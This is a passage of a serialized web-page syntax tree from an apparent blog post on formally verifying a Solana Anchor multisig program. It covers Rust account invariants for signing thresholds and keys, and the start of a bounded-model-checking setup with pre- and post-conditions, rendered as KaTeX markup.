account:",{"type":24,"tag":147,"props":22187,"children":22189},{"code":22188,"language":150,"meta":7,"className":151,"style":7},"#[account]\n#[invariant(\n !self.keys.is_empty()\n && (self.keys.len() \u003C= u16::MAX as usize)\n && (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[22190],{"type":24,"tag":154,"props":22191,"children":22192},{"__ignoreMap":7},[22193,22200,22207,22237,22296,22325,22377,22384,22405,22435,22465,22495,22524,22554,22584,22613,22653],{"type":24,"tag":158,"props":22194,"children":22195},{"class":160,"line":161},[22196],{"type":24,"tag":158,"props":22197,"children":22198},{"style":188},[22199],{"type":29,"value":22014},{"type":24,"tag":158,"props":22201,"children":22202},{"class":160,"line":213},[22203],{"type":24,"tag":158,"props":22204,"children":22205},{"style":188},[22206],{"type":29,"value":22022},{"type":24,"tag":158,"props":22208,"children":22209},{"class":160,"line":238},[22210,22215,22219,22223,22228,22232],{"type":24,"tag":158,"props":22211,"children":22212},{"style":222},[22213],{"type":29,"value":22214}," !",{"type":24,"tag":158,"props":22216,"children":22217},{"style":188},[22218],{"type":29,"value":14947},{"type":24,"tag":158,"props":22220,"children":22221},{"style":222},[22222],{"type":29,"value":347},{"type":24,"tag":158,"props":22224,"children":22225},{"style":188},[22226],{"type":29,"value":22227},"keys",{"type":24,"tag":158,"props":22229,"children":22230},{"style":222},[22231],{"type":29,"value":347},{"type":24,"tag":158,"props":22233,"children":22234},{"style":188},[22235],{"type":29,"value":22236},"is_empty()\n",{"type":24,"tag":158,"props":22238,"children":22239},{"class":160,"line":259},[22240,22244,22249,22253,22257,22261,22266,22270,22275,22279,22284,22288,22292],{"type":24,"tag":158,"props":22241,"children":22242},{"style":222},[22243],{"type":29,"value":16857},{"type":24,"tag":158,"props":22245,"children":22246},{"style":188},[22247],{"type":29,"value":22248}," (self",{"type":24,"tag":158,"props":22250,"children":22251},{"style":222},[22252],{"type":29,"value":347},{"type":24,"tag":158,"props":22254,"children":22255},{"style":188},[22256],{"type":29,"value":22227},{"type":24,"tag":158,"props":22258,"children":22259},{"style":222},[22260],{"type":29,"value":347},{"type":24,"tag":158,"props":22262,"children":22263},{"style":188},[22264],{"type":29,"value":22265},"len() ",{"type":24,"tag":158,"props":22267,"children":22268},{"style":222},[22269],{"type":29,"value":20657},{"type":24,"tag":158,"props":22271,"children":22272},{"style":171},[22273],{"type":29,"value":22274}," u16",{"type":24,"tag":158,"props":22276,"children":22277},{"style":222},[22278],{"type":29,"value":2146},{"type":24,"tag":158,"props":22280,"children":22281},{"style":171},[22282],{"type":29,"value":22283},"MAX",{"type":24,"tag":158,"props":22285,"children":22286},{"style":165},[22287],{"type":29,"value":2231},{"type":24,"tag":158,"props":22289,"children":22290},{"style":171},[22291],{"type":29,"value":14965},{"type":24,"tag":158,"props":22293,"children":22294},{"style":188},[22295],{"type":29,"value":2125},{"type":24,"tag":158,"props":22297,"children":22298},{"class":160,"line":280},[22299,22303,22307,22311,22316,22320],{"type":24,"tag":158,"props":22300,"children":22301},{"style":222},[22302],{"type":29,"value":16857},{"type":24,"tag":158,"props":22304,"children":22305},{"style":188},[22306],{"type":29,"value":22248},{"type":24,"tag":158,"props":22308,"children":22309},{"style":222},[22310],{"type":29,"value":347},{"type":24,"tag":158,"props":22312,"children":22313},{"style":188},[22314],{"type":29,"value":22315},"threshold ",{"type":24,"tag":158,"props":22317,"children":22318},{"style":222},[22319],{"type":29,"value":750},{"type":24,"tag":158,"props":22321,"children":22322},{"style":188},[22323],{"type":29,"value":22324}," 1)\n",{"type":24,"tag":158,"props":22326,"children":22327},{"class":160,"line":301},[22328,22332,22336,22340,22344,22348,22352,22356,22360,22364,22368,22372],{"type":24,"tag":158,"props":22329,"children":22330},{"style":222},[22331],{"type":29,"value":16857},{"type":24,"tag":158,"props":22333,"children":22334},{"style":188},[22335],{"type":29,"value":22248},{"type":24,"tag":158,"props":22337,"children":22338},{"style":222},[22339],{"type":29,"value":347},{"type":24,"tag":158,"props":22341,"children":22342},{"style":188},[22343],{"type":29,"value":22315},{"type":24,"tag":158,"props":22345,"children":22346},{"style":165},[22347],{"type":29,"value":2245},{"type":24,"tag":158,"props":22349,"children":22350},{"style":171},[22351],{"type":29,"value":14965},{"type":24,"tag":158,"props":22353,"children":22354},{"style":222},[22355],{"type":29,"value":1989},{"type":24,"tag":158,"props":22357,"children":22358},{"style":188},[22359],{"type":29,"value":15031},{"type":24,"tag":158,"props":22361,"children":22362},{"style":222},[22363],{"type":29,"value":347},{"type":24,"tag":158,"props":22365,"children":22366},{"style":188},[22367],{"type":29,"value":22227},{"type":24,"tag":158,"props":22369,"children":22370},{"style":222},[22371],{"type":29,"value":347},{"type":24,"tag":158,"props":22373,"children":22374},{"style":188},[22375],{"type":29,"value":22376},"len())\n",{"type":24,"tag":158,"props":22378,"children":22379},{"class":160,"line":626},[22380],{"type":24,"tag":158,"props":22381,"children":22382},{"style":188},[22383],{"type":29,"value":21502},{"type":24,"tag":158,"props":22385,"children":22386},{"class":160,"line":668},[22387,22391,22396,22401],{"type":24,"tag":158,"props":22388,"children":22389},{"style":165},[22390],{"type":29,"value":14924},{"type":24,"tag":158,"props":22392,"children":22393},{"style":165},[22394],{"type":29,"value":22395}," struct",{"type":24,"tag":158,"props":22397,"children":22398},{"style":171},[22399],{"type":29,"value":22400}," Ms",{"type":24,"tag":158,"props":22402,"children":22403},{"style":188},[22404],{"type":29,"value":210},{"type":24,"tag":158,"props":22406,"children":22407},{"class":160,"line":676},[22408,22412,22417,22421,22425,22430],{"type":24,"tag":158,"props":22409,"children":22410},{"style":165},[22411],{"type":29,"value":22087},{"type":24,"tag":158,"props":22413,"children":22414},{"style":177},[22415],{"type":29,"value":22416}," threshold",{"type":24,"tag":158,"props":22418,"children":22419},{"style":222},[22420],{"type":29,"value":225},{"type":24,"tag":158,"props":22422,"children":22423},{"style":171},[22424],{"type":29,"value":22274},{"type":24,"tag":158,"props":22426,"children":22427},{"style":188},[22428],{"type":29,"value":22429},", ",{"type":24,"tag":158,"props":22431,"children":22432},{"style":2588},[22433],{"type":29,"value":22434},"// threshold for signatures\n",{"type":24,"tag":158,"props":22436,"children":22437},{"class":160,"line":684},[22438,22442,22447,22451,22455,22460],{"type":24,"tag":158,"props":22439,"children":22440},{"style":165},[22441],{"type":29,"value":22087},{"type":24,"tag":158,"props":22443,"children":22444},{"style":177},[22445],{"type":29,"value":22446}," authority_index",{"type":24,"tag":158,"props":22448,"children":22449},{"style":222},[22450],{"type":29,"value":225},{"type":24,"tag":158,"props":22452,"children":22453},{"style":171},[22454],{"type":29,"value":22274},{"type":24,"tag":158,"props":22456,"children":22457},{"style":188},[22458],{"type":29,"value":22459},", ",{"type":24,"tag":158,"props":22461,"children":22462},{"style":2588},[22463],{"type":29,"value":22464},"// index to seed other authorities under this multisig\n",{"type":24,"tag":158,"props":22466,"children":22467},{"class":160,"line":700},[22468,22472,22477,22481,22485,22490],{"type":24,"tag":158,"props":22469,"children":22470},{"style":165},[22471],{"type":29,"value":22087},{"type":24,"tag":158,"props":22473,"children":22474},{"style":177},[22475],{"type":29,"value":22476}," transaction_index",{"type":24,"tag":158,"props":22478,"children":22479},{"style":222},[22480],{"type":29,"value":225},{"type":24,"tag":158,"props":22482,"children":22483},{"style":171},[22484],{"type":29,"value":18788},{"type":24,"tag":158,"props":22486,"children":22487},{"style":188},[22488],{"type":29,"value":22489},", ",{"type":24,"tag":158,"props":22491,"children":22492},{"style":2588},[22493],{"type":29,"value":22494},"// look up and seed reference for transactions\n",{"type":24,"tag":158,"props":22496,"children":22497},{"class":160,"line":785},[22498,22502,22507,22511,22515,22519],{"type":24,"tag":158,"props":22499,"children":22500},{"style":165},[22501],{"type":29,"value":22087},{"type":24,"tag":158,"props":22503,"children":22504},{"style":177},[22505],{"type":29,"value":22506}," ms_change_index",{"type":24,"tag":158,"props":22508,"children":22509},{"style":222},[22510],{"type":29,"value":225},{"type":24,"tag":158,"props":22512,"children":22513},{"style":171},[22514],{"type":29,"value":18788},{"type":24,"tag":158,"props":22516,"children":22517},{"style":188},[22518],{"type":29,"value":22459},{"type":24,"tag":158,"props":22520,"children":22521},{"style":2588},[22522],{"type":29,"value":22523},"// the last executed/closed transaction\n",{"type":24,"tag":158,"props":22525,"children":22526},{"class":160,"line":1447},[22527,22531,22536,22540,22544,22549],{"type":24,"tag":158,"props":22528,"children":22529},{"style":165},[22530],{"type":29,"value":22087},{"type":24,"tag":158,"props":22532,"children":22533},{"style":177},[22534],{"type":29,"value":22535}," bump",{"type":24,"tag":158,"props":22537,"children":22538},{"style":222},[22539],{"type":29,"value":225},{"type":24,"tag":158,"props":22541,"children":22542},{"style":171},[22543],{"type":29,"value":15868},{"type":24,"tag":158,"props":22545,"children":22546},{"style":188},[22547],{"type":29,"value":22548},", ",{"type":24,"tag":158,"props":22550,"children":22551},{"style":2588},[22552],{"type":29,"value":22553},"// bump for the multisig seed\n",{"type":24,"tag":158,"props":22555,"children":22556},{"class":160,"line":1509},[22557,22561,22566,22570,22574,22579],{"type":24,"tag":158,"props":22558,"children":22559},{"style":165},[22560],{"type":29,"value":22087},{"type":24,"tag":158,"props":22562,"children":22563},{"style":177},[22564],{"type":29,"value":22565}," create_key",{"type":24,"tag":158,"props":22567,"children":22568},{"style":222},[22569],{"type":29,"value":225},{"type":24,"tag":158,"props":22571,"children":22572},{"style":171},[22573],{"type":29,"value":22101},{"type":24,"tag":158,"props":22575,"children":22576},{"style":188},[22577],{"type":29,"value":22578},", ",{"type":24,"tag":158,"props":22580,"children":22581},{"style":2588},[22582],{"type":29,"value":22583},"// random key(or not) used to seed the multisig pda\n",{"type":24,"tag":158,"props":22585,"children":22586},{"class":160,"line":1527},[22587,22591,22596,22600,22604,22608],{"type":24,"tag":158,"props":22588,"children":22589},{"style":165},[22590],{"type":29,"value":22087},{"type":24,"tag":158,"props":22592,"children":22593},{"style":177},[22594],{"type":29,"value":22595}," allow_external_execute",{"type":24,"tag":158,"props":22597,"children":22598},{"style":222},[22599],{"type":29,"value":225},{"type":24,"tag":158,"props":22601,"children":22602},{"style":171},[22603],{"type":29,"value":2928},{"type":24,"tag":158,"props":22605,"children":22606},{"style":188},[22607],{"type":29,"value":191},{"type":24,"tag":158,"props":22609,"children":22610},{"style":2588},[22611],{"type":29,"value":22612},"// allow non-member keys to execute txs\n",{"type":24,"tag":158,"props":22614,"children":22615},{"class":160,"line":1545},[22616,22620,22625,22629,22634,22638,22643,22648],{"type":24,"tag":158,"props":22617,"children":22618},{"style":165},[22619],{"type":29,"value":22087},{"type":24,"tag":158,"props":22621,"children":22622},{"style":177},[22623],{"type":29,"value":22624}," keys",{"type":24,"tag":158,"props":22626,"children":22627},{"style":222},[22628],{"type":29,"value":225},{"type":24,"tag":158,"props":22630,"children":22631},{"style":171},[22632],{"type":29,"value":22633}," Vec",{"type":24,"tag":158,"props":22635,"children":22636},{"style":188},[22637],{"type":29,"value":3760},{"type":24,"tag":158,"props":22639,"children":22640},{"style":171},[22641],{"type":29,"value":22642},"Pubkey",{"type":24,"tag":158,"props":22644,"children":22645},{"style":188},[22646],{"type":29,"value":22647},">, ",{"type":24,"tag":158,"props":22649,"children":22650},{"style":2588},[22651],{"type":29,"value":22652},"// keys of the members\n",{"type":24,"tag":158,"props":22654,"children":22655},{"class":160,"line":1618},[22656],{"type":24,"tag":158,"props":22657,"children":22658},{"style":188},[22659],{"type":29,"value":307},{"type":24,"tag":25,"props":22661,"children":22662},{},[22663],{"type":29,"value":22664},"Here we are verifying multiple things at once:",{"type":24,"tag":17924,"props":22666,"children":22667},{},[22668,22679,22690,22701],{"type":24,"tag":1790,"props":22669,"children":22670},{},[22671,22677],{"type":24,"tag":154,"props":22672,"children":22674},{"className":22673},[],[22675],{"type":29,"value":22676},"!self.keys.is_empty()",{"type":29,"value":22678}," : ensure there is at least one member",{"type":24,"tag":1790,"props":22680,"children":22681},{},[22682,22688],{"type":24,"tag":154,"props":22683,"children":22685},{"className":22684},[],[22686],{"type":29,"value":22687},"self.keys.len() \u003C= u16::MAX as usize",{"type":29,"value":22689}," : set an upper limit of 65535 members",{"type":24,"tag":1790,"props":22691,"children":22692},{},[22693,22699],{"type":24,"tag":154,"props":22694,"children":22696},{"className":22695},[],[22697],{"type":29,"value":22698},"self.threshold >= 1",{"type":29,"value":22700}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":24,"tag":1790,"props":22702,"children":22703},{},[22704,22710],{"type":24,"tag":154,"props":22705,"children":22707},{"className":22706},[],[22708],{"type":29,"value":22709},"self.threshold as usize \u003C= self.keys.len()",{"type":29,"value":22711}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":24,"tag":59,"props":22713,"children":22715},{"id":22714},"verification-how-do-we-check-that-our-model-is-correct",[22716],{"type":29,"value":22717},"Verification: How do we check that our model is correct?",{"type":24,"tag":25,"props":22719,"children":22720},{},[22721,22723,22727,22729,22734],{"type":29,"value":22722},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":24,"tag":32,"props":22724,"children":22725},{},[22726],{"type":29,"value":21212},{"type":29,"value":22728}," on which we can run bounded model checking. Our tool does this ",{"type":24,"tag":32,"props":22730,"children":22731},{},[22732],{"type":29,"value":22733},"automagically",{"type":29,"value":22735}," for anchor-lang programs.",{"type":24,"tag":25,"props":22737,"children":22738},{},[22739,22741,22747,22749,22754,22756,22761,22762,22767,22769,22774,22776,22781,22782,22788,22790,22796,22797,22803],{"type":29,"value":22740},"Specifically, for a given ",{"type":24,"tag":154,"props":22742,"children":22744},{"className":22743},[],[22745],{"type":29,"value":22746},"Context\u003CT>",{"type":29,"value":22748}," with ",{"type":24,"tag":32,"props":22750,"children":22751},{},[22752],{"type":29,"value":22753},"incoming",{"type":29,"value":22755}," accounts of types (",{"type":24,"tag":154,"props":22757,"children":22759},{"className":22758},[],[22760],{"type":29,"value":21984},{"type":29,"value":6238},{"type":24,"tag":154,"props":22763,"children":22765},{"className":22764},[],[22766],{"type":29,"value":2169},{"type":29,"value":22768},") and ",{"type":24,"tag":32,"props":22770,"children":22771},{},[22772],{"type":29,"value":22773},"outgoing",{"type":29,"value":22775}," accounts of type (",{"type":24,"tag":154,"props":22777,"children":22779},{"className":22778},[],[22780],{"type":29,"value":2169},{"type":29,"value":6238},{"type":24,"tag":154,"props":22783,"children":22785},{"className":22784},[],[22786],{"type":29,"value":22787},"close",{"type":29,"value":22789},") we define a ",{"type":24,"tag":154,"props":22791,"children":22793},{"className":22792},[],[22794],{"type":29,"value":22795},"pre_condition",{"type":29,"value":1826},{"type":24,"tag":154,"props":22798,"children":22800},{"className":22799},[],[22801],{"type":29,"value":22802},"post_condition",{"type":29,"value":22804}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":24,"tag":25,"props":22806,"children":22807},{},[22808],{"type":24,"tag":154,"props":22809,"children":22811},{"className":22810},[5642,5643],[22812],{"type":24,"tag":158,"props":22813,"children":22815},{"className":22814},[5648],[22816],{"type":24,"tag":158,"props":22817,"children":22819},{"className":22818,"ariaHidden":3185},[5653],[22820,22856],{"type":24,"tag":158,"props":22821,"children":22823},{"className":22822},[5658],[22824,22829,22837,22842,22846,22852],{"type":24,"tag":158,"props":22825,"children":22828},{"className":22826,"style":22827},[5663],"height:0.6833em;",[],{"type":24,"tag":158,"props":22830,"children":22834},{"className":22831,"style":22833},[5669,22832],"mathnormal","margin-right:0.13889em;",[22835],{"type":29,"value":22836},"P",{"type":24,"tag":158,"props":22838,"children":22840},{"className":22839},[5669],[22841],{"type":29,"value":5682},{"type":24,"tag":158,"props":22843,"children":22845},{"className":22844,"style":5848},[5750],[],{"type":24,"tag":158,"props":22847,"children":22849},{"className":22848},[5853],[22850],{"type":29,"value":22851},":=",{"type":24,"tag":158,"props":22853,"children":22855},{"className":22854,"style":5848},[5750],[],{"type":24,"tag":158,"props":22857,"children":22859},{"className":22858},[5658],[22860,22865,23005,23009],{"type":24,"tag":158,"props":22861,"children":22864},{"className":22862,"style":22863},[5663],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":24,"tag":158,"props":22866,"children":22869},{"className":22867},[22868],"mop",[22870,22879],{"type":24,"tag":158,"props":22871,"children":22876},{"className":22872,"style":22875},[22868,22873,22874],"op-symbol","small-op","position:relative;top:0em;",[22877],{"type":29,"value":22878},"⋀",{"type":24,"tag":158,"props":22880,"children":22882},{"className":22881},[5686],[22883],{"type":24,"tag":158,"props":22884,"children":22887},{"className":22885},[5691,22886],"vlist-t2",[22888,22993],{"type":24,"tag":158,"props":22889,"children":22891},{"className":22890},[5696],[22892,22986],{"type":24,"tag":158,"props":22893,"children":22896},{"className":22894,"style":22895},[5701],"height:0.2253em;",[22897],{"type":24,"tag":158,"props":22898,"children":22900},{"style":22899},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[22901,22905],{"type":24,"tag":158,"props":22902,"children":22904},{"className":22903,"style":5711},[5710],[],{"type":24,"tag":158,"props":22906,"children":22908},{"className":22907},[5716,5717,5718,5719],[22909],{"type":24,"tag":158,"props":22910,"children":22912},{"className":22911},[5669,5719],[22913,22918,22924,22934,22940,22949,22958,22964,22969,22975,22980],{"type":24,"tag":158,"props":22914,"children":22916},{"className":22915},[5669,22832,5719],[22917],{"type":29,"value":101},{"type":24,"tag":158,"props":22919,"children":22921},{"className":22920},[5669,22832,5719],[22922],{"type":29,"value":22923},"cc",{"type":24,"tag":158,"props":22925,"children":22927},{"className":22926},[5750,5719],[22928],{"type":24,"tag":158,"props":22929,"children":22931},{"className":22930},[5719],[22932],{"type":29,"value":22933}," ",{"type":24,"tag":158,"props":22935,"children":22937},{"className":22936},[5853,5719],[22938],{"type":29,"value":22939},"∈",{"type":24,"tag":158,"props":22941,"children":22943},{"className":22942},[5750,5719],[22944],{"type":24,"tag":158,"props":22945,"children":22947},{"className":22946},[5719],[22948],{"type":29,"value":22933},{"type":24,"tag":158,"props":22950,"children":22952},{"className":22951},[5669,29,5719],[22953],{"type":24,"tag":158,"props":22954,"children":22956},{"className":22955},[5669,5719],[22957],{"type":29,"value":22753},{"type":24,"tag":158,"props":22959,"children":22962},{"className":22960},[22961,5719],"mopen",[22963],{"type":29,"value":504},{"type":24,"tag":158,"props":22965,"children":22967},{"className":22966},[5669,22832,5719],[22968],{"type":29,"value":2907},{"type":24,"tag":158,"props":22970,"children":22972},{"className":22971},[5669,22832,5719],[22973],{"type":29,"value":22974},"t",{"type":24,"tag":158,"props":22976,"children":22978},{"className":22977},[5669,22832,5719],[22979],{"type":29,"value":20518},{"type":24,"tag":158,"props":22981,"children":22984},{"className":22982},[22983,5719],"mclose",[22985],{"type":29,"value":521},{"type":24,"tag":158,"props":22987,"children":22990},{"className":22988},[22989],"vlist-s",[22991],{"type":29,"value":22992},"​",{"type":24,"tag":158,"props":22994,"children":22996},{"className":22995},[5696],[22997],{"type":24,"tag":158,"props":22998,"children":23001},{"className":22999,"style":23000},[5701],"height:0.4747em;",[23002],{"type":24,"tag":158,"props":23003,"children":23004},{},[],{"type":24,"tag":158,"props":23006,"children":23008},{"className":23007,"style":5789},[5750],[],{"type":24,"tag":158,"props":23010,"children":23012},{"className":23011},[5669],[23013,23023,23028,23033,23038],{"type":24,"tag":158,"props":23014,"children":23016},{"className":23015},[5669,29],[23017],{"type":24,"tag":158,"props":23018,"children":23020},{"className":23019},[5669],[23021],{"type":29,"value":23022},"invariant",{"type":24,"tag":158,"props":23024,"children":23026},{"className":23025},[22961],[23027],{"type":29,"value":504},{"type":24,"tag":158,"props":23029,"children":23031},{"className":23030},[5669,22832],[23032],{"type":29,"value":101},{"type":24,"tag":158,"props":23034,"children":23036},{"className":23035},[5669,22832],[23037],{"type":29,"value":22923},{"type":24,"tag":158,"props":23039,"children":23041},{"className":23040},[22983],[23042],{"type":29,"value":521},{"type":24,"tag":25,"props":23044,"children":23045},{},[23046],{"type":24,"tag":154,"props":23047,"children":23049},{"className":23048},[5642,5643],[23050],{"type":24,"tag":158,"props":23051,"children":23053},{"className":23052},[5648],[23054],{"type":24,"tag":158,"props":23055,"children":23057},{"className":23056,"ariaHidden":3185},[5653],[23058,23089],{"type":24,"tag":158,"props":23059,"children":23061},{"className":23060},[5658],[23062,23066,23071,23076,23080,23085],{"type":24,"tag":158,"props":23063,"children":23065},{"className":23064,"style":22827},[5663],[],{"type":24,"tag":158,"props":23067,"children":23069},{"className":23068,"style":22833},[5669,22832],[23070],{"type":29,"value":22836},{"type":24,"tag":158,"props":23072,"children":23074},{"className":23073},[5669],[23075],{"type":29,"value":5672},{"type":24,"tag":158,"props":23077,"children":23079},{"className":23078,"style":5848},[5750],[],{"type":24,"tag":158,"props":23081,"children":23083},{"className":23082},[5853],[23084],{"type":29,"value":22851},{"type":24,"tag":158,"props":23086,"children":23088},{"className":23087,"style":5848},[5750],[],{"type":24,"tag":158,"props":23090,"children":23092},{"className":23091},[5658],[23093,23097,23220,23224],{"type":24,"tag":158,"props":23094,"children":23096},{"className":23095,"style":22863},[5663],[],{"type":24,"tag":158,"props":23098,"children":23100},{"className":23099},[22868],[23101,23106],{"type":24,"tag":158,"props":23102,"children":23104},{"className":23103,"style":22875},[22868,22873,22874],[23105],{"type":29,"value":22878},{"type":24,"tag":158,"props":23107,"children":23109},{"className":23108},[5686],[23110],{"type":24,"tag":158,"props":23111,"children":23113},{"className":23112},[5691,22886],[23114,23209],{"type":24,"tag":158,"props":23115,"children":23117},{"className":23116},[5696],[23118,23204],{"type":24,"tag":158,"props":23119,"children":23121},{"className":23120,"style":22895},[5701],[23122],{"type":24,"tag":158,"props":23123,"children":23124},{"style":22899},[23125,23129],{"type":24,"tag":158,"props":23126,"children":23128},{"className":23127,"style":5711},[5710],[],{"type":24,"tag":158,"props":23130,"children":23132},{"className":23131},[5716,5717,5718,5719],[23133],{"type":24,"tag":158,"props":23134,"children":23136},{"className":23135},[5669,5719],[23137,23142,23147,23156,23161,23170,23179,23184,23189,23194,23199],{"type":24,"tag":158,"props":23138,"children":23140},{"className":23139},[5669,22832,5719],[23141],{"type":29,"value":101},{"type":24,"tag":158,"props":23143,"children":23145},{"className":23144},[5669,22832,5719],[23146],{"type":29,"value":22923},{"type":24,"tag":158,"props":23148,"children":23150},{"className":23149},[5750,5719],[23151],{"type":24,"tag":158,"props":23152,"children":23154},{"className":23153},[5719],[23155],{"type":29,"value":22933},{"type":24,"tag":158,"props":23157,"children":23159},{"className":23158},[5853,5719],[23160],{"type":29,"value":22939},{"type":24,"tag":158,"props":23162,"children":23164},{"className":23163},[5750,5719],[23165],{"type":24,"tag":158,"props":23166,"children":23168},{"className":23167},[5719],[23169],{"type":29,"value":22933},{"type":24,"tag":158,"props":23171,"children":23173},{"className":23172},[5669,29,5719],[23174],{"type":24,"tag":158,"props":23175,"children":23177},{"className":23176},[5669,5719],[23178],{"type":29,"value":22773},{"type":24,"tag":158,"props":23180,"children":23182},{"className":23181},[22961,5719],[23183],{"type":29,"value":504},{"type":24,"tag":158,"props":23185,"children":23187},{"className":23186},[5669,22832,5719],[23188],{"type":29,"value":2907},{"type":24,"tag":158,"props":23190,"children":23192},{"className":23191},[5669,22832,5719],[23193],{"type":29,"value":22974},{"type":24,"tag":158,"props":23195,"children":23197},{"className":23196},[5669,22832,5719],[23198],{"type":29,"value":20518},{"type":24,"tag":158,"props":23200,"children":23202},{"className":23201},[22983,5719],[23203],{"type":29,"value":521},{"type":24,"tag":158,"props":23205,"children":23207},{"className":23206},[22989],[23208],{"type":29,"value":22992},{"type":24,"tag":158,"props":23210,"children":23212},{"className":23211},[5696],[23213],{"type":24,"tag":158,"props":23214,"children":23216},{"className":23215,"style":23000},[5701],[23217],{"type":24,"tag":158,"props":23218,"children":23219},{},[],{"type":24,"tag":158,"props":23221,"children":23223},{"className":23222,"style":5789},[5750],[],{"type":24,"tag":158,"props":23225,"children":23227},{"className":23226},[5669],[23228,23237,23242,23247,23252],{"type":24,"tag":158,"props":23229,"children":23231},{"className":23230},[5669,29],[23232],{"type":24,"tag":158,"props":23233,"children":23235},{"className":23234},[5669],[23236],{"type":29,"value":23022},{"type":24,"tag":158,"props":23238,"children":23240},{"className":23239},[22961],[23241],{"type":29,"value":504},{"type":24,"tag":158,"props":23243,"children":23245},{"className":23244},[5669,22832],[23246],{"type":29,"value":101},{"type":24,"tag":158,"props":23248,"children":23250},{"className":23249},[5669,22832],[23251],{"type":29,"value":22923},{"type":24,"tag":158,"props":23253,"children":23255},{"className":23254},[22983],[23256],{"type":29,"value":521},{"type":24,"tag":25,"props":23258,"children":23259},{},[23260],{"type":29,"value":23261},"Our instruction invariants are represented as:",{"type":24,"tag":17924,"props":23263,"children":23264},{},[23265,23301],{"type":24,"tag":1790,"props":23266,"children":23267},{},[23268,23295,23296],{"type":24,"tag":154,"props":23269,"children":23271},{"className":23270},[5642,5643],[23272],{"type":24,"tag":158,"props":23273,"children":23275},{"className":23274},[5648],[23276],{"type":24,"tag":158,"props":23277,"children":23279},{"className":23278,"ariaHidden":3185},[5653],[23280],{"type":24,"tag":158,"props":23281,"children":23283},{"className":23282},[5658],[23284,23288],{"type":24,"tag":158,"props":23285,"children":23287},{"className":23286,"style":22827},[5663],[],{"type":24,"tag":158,"props":23289,"children":23292},{"className":23290,"style":23291},[5669,22832],"margin-right:0.05764em;",[23293],{"type":29,"value":23294},"S",{"type":29,"value":16566},{"type":24,"tag":154,"props":23297,"children":23299},{"className":23298},[],[23300],{"type":29,"value":21398},{"type":24,"tag":1790,"props":23302,"children":23303},{},[23304,23330,23331],{"type":24,"tag":154,"props":23305,"children":23307},{"className":23306},[5642,5643],[23308],{"type":24,"tag":158,"props":23309,"children":23311},{"className":23310},[5648],[23312],{"type":24,"tag":158,"props":23313,"children":23315},{"className":23314,"ariaHidden":3185},[5653],[23316],{"type":24,"tag":158,"props":23317,"children":23319},{"className":23318},[5658],[23320,23324],{"type":24,"tag":158,"props":23321,"children":23323},{"className":23322,"style":22827},[5663],[],{"type":24,"tag":158,"props":23325,"children":23327},{"className":23326,"style":23291},[5669,22832],[23328],{"type":29,"value":23329},"E",{"type":29,"value":16566},{"type":24,"tag":154,"props":23332,"children":23334},{"className":23333},[],[23335],{"type":29,"value":21405},{"type":24,"tag":25,"props":23337,"children":23338},{},[23339,23341,23368,23370,23375,23377,23383],{"type":29,"value":23340},"And ",{"type":24,"tag":154,"props":23342,"children":23344},{"className":23343},[5642,5643],[23345],{"type":24,"tag":158,"props":23346,"children":23348},{"className":23347},[5648],[23349],{"type":24,"tag":158,"props":23350,"children":23352},{"className":23351,"ariaHidden":3185},[5653],[23353],{"type":24,"tag":158,"props":23354,"children":23356},{"className":23355},[5658],[23357,23361],{"type":24,"tag":158,"props":23358,"children":23360},{"className":23359,"style":22827},[5663],[],{"type":24,"tag":158,"props":23362,"children":23365},{"className":23363,"style":23364},[5669,22832],"margin-right:0.07153em;",[23366],{"type":29,"value":23367},"K",{"type":29,"value":23369}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":24,"tag":154,"props":23371,"children":23373},{"className":23372},[],[23374],{"type":29,"value":21733},{"type":29,"value":23376}," not an ",{"type":24,"tag":154,"props":23378,"children":23380},{"className":23379},[],[23381],{"type":29,"value":23382},"Err",{"type":29,"value":21986},{"type":24,"tag":25,"props":23385,"children":23386},{},[23387],{"type":29,"value":23388},"In order to verify these conditions we need to verify three cases:",{"type":24,"tag":395,"props":23390,"children":23392},{"id":23391},"account-invariants-1",[23393],{"type":29,"value":23394},"Account invariants",{"type":24,"tag":25,"props":23396,"children":23397},{},[23398,23400,23431,23433,23463,23465,23495],{"type":29,"value":23399},"After we execute an instruction, either the function should error and be reverted (",{"type":24,"tag":154,"props":23401,"children":23403},{"className":23402},[5642,5643],[23404],{"type":24,"tag":158,"props":23405,"children":23407},{"className":23406},[5648],[23408],{"type":24,"tag":158,"props":23409,"children":23411},{"className":23410,"ariaHidden":3185},[5653],[23412],{"type":24,"tag":158,"props":23413,"children":23415},{"className":23414},[5658],[23416,23420,23426],{"type":24,"tag":158,"props":23417,"children":23419},{"className":23418,"style":22827},[5663],[],{"type":24,"tag":158,"props":23421,"children":23423},{"className":23422},[5669],[23424],{"type":29,"value":23425},"¬",{"type":24,"tag":158,"props":23427,"children":23429},{"className":23428,"style":23364},[5669,22832],[23430],{"type":29,"value":23367},{"type":29,"value":23432},") or the account post-invariants should hold (",{"type":24,"tag":154,"props":23434,"children":23436},{"className":23435},[5642,5643],[23437],{"type":24,"tag":158,"props":23438,"children":23440},{"className":23439},[5648],[23441],{"type":24,"tag":158,"props":23442,"children":23444},{"className":23443,"ariaHidden":3185},[5653],[23445],{"type":24,"tag":158,"props":23446,"children":23448},{"className":23447},[5658],[23449,23453,23458],{"type":24,"tag":158,"props":23450,"children":23452},{"className":23451,"style":22827},[5663],[],{"type":24,"tag":158,"props":23454,"children":23456},{"className":23455,"style":22833},[5669,22832],[23457],{"type":29,"value":22836},{"type":24,"tag":158,"props":23459,"children":23461},{"className":23460},[5669],[23462],{"type":29,"value":5672},{"type":29,"value":23464},"). Furthermore, we can assume that before executing a function, the account pre-invariants 